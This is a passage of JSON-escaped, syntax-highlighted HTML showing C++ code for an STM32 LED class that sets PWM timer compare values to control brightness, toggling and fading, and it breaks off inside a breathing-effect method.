40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e112\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e113\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e114\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e115\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e116\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e117\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e118\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e119\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e120\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e121\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e122\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e123\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e124\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e125\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e126\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e127\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e128\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e129\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e130\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e131\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e132\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e133\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e134\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e135\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e136\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e137\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e138\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e139\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e140\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e141\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e142\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e143\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eLed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e255\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecrt\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_TIM_SET_COMPARE\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eminus\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eTryBreath\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003ealways\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan 